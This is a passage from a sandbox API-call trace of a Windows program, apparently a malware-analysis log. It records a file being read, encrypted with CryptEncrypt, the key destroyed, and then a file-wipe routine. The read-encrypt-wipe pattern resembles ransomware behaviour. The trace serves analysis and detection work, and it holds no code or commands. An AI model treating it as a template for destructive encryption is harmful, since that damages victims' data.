lpMsg=0xe8f3dfee40) returned 0 [0021.679] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.681] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0021.681] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0021.682] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x5d7a, lpOverlapped=0x0) returned 1 [0021.683] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0021.685] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.685] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.685] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.685] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0021.686] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.686] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.686] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0021.686] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0021.686] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0021.686] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0021.687] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0021.687] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.687] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0021.687] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.687] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f4064c40, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064c40*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0021.687] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0021.687] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0021.687] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.687] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.687] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.687] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.687] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.687] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.687] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0021.687] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.687] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0021.687] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0021.687] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.688] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.688] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0021.688] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0021.688] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0021.688] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.688] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.688] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.688] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.688] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.688] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.688] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0021.688] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.688] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x15d7a, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x15d80) returned 1 [0021.688] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.688] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.688] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.688] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.689] CharLowerBuffW (in: lpsz="byte[89473]", cchLength=0xb | out: lpsz="byte[89473]") returned 0xb [0021.689] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.690] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.690] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.690] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0021.691] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.691] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f4202280*, pdwDataLen=0xe8f3dfdf68*=0x15d7a, dwBufLen=0x15d80 | out: pbData=0xe8f4202280*, pdwDataLen=0xe8f3dfdf68*=0x15d80) returned 1 [0021.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.692] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.692] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.692] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.692] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0021.692] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.692] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0021.692] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0021.692] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0021.692] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.692] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0021.692] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0021.692] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.692] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.692] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.715] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.715] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.716] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.717] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.717] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.717] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0021.717] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0021.717] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.717] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0021.717] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.717] CryptDestroyKey (hKey=0xe8f40623a0) returned 1 [0021.717] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0021.717] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0021.717] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0021.717] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0021.717] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0021.717] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0021.717] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0021.717] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0021.717] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0021.717] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0021.717] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0021.717] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0021.717] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0021.717] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0021.717] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.717] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0021.717] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.717] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0021.717] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.717] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.717] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.718] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0021.718] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0021.718] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.718] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.718] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0021.718] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0021.718] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0021.718] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.718] CryptReleaseContext (hProv=0xe8f40633e0, dwFlags=0x0) returned 1 [0021.718] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.718] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.718] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0021.718] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.718] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.718] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.719] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.719] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.721] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.721] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0021.721] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.721] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.726] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.726] CharLowerBuffW (in: lpsz="byte[89466]", cchLength=0xb | out: lpsz="byte[89466]") returned 0xb [0021.728] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.728] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0021.728] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.728] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0021.728] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.728] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.728] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.728] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0021.728] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.728] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.728] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.728] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.728] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.728] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.728] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.728] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.728] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.733] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.733] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.733] PeekMessageW (in: 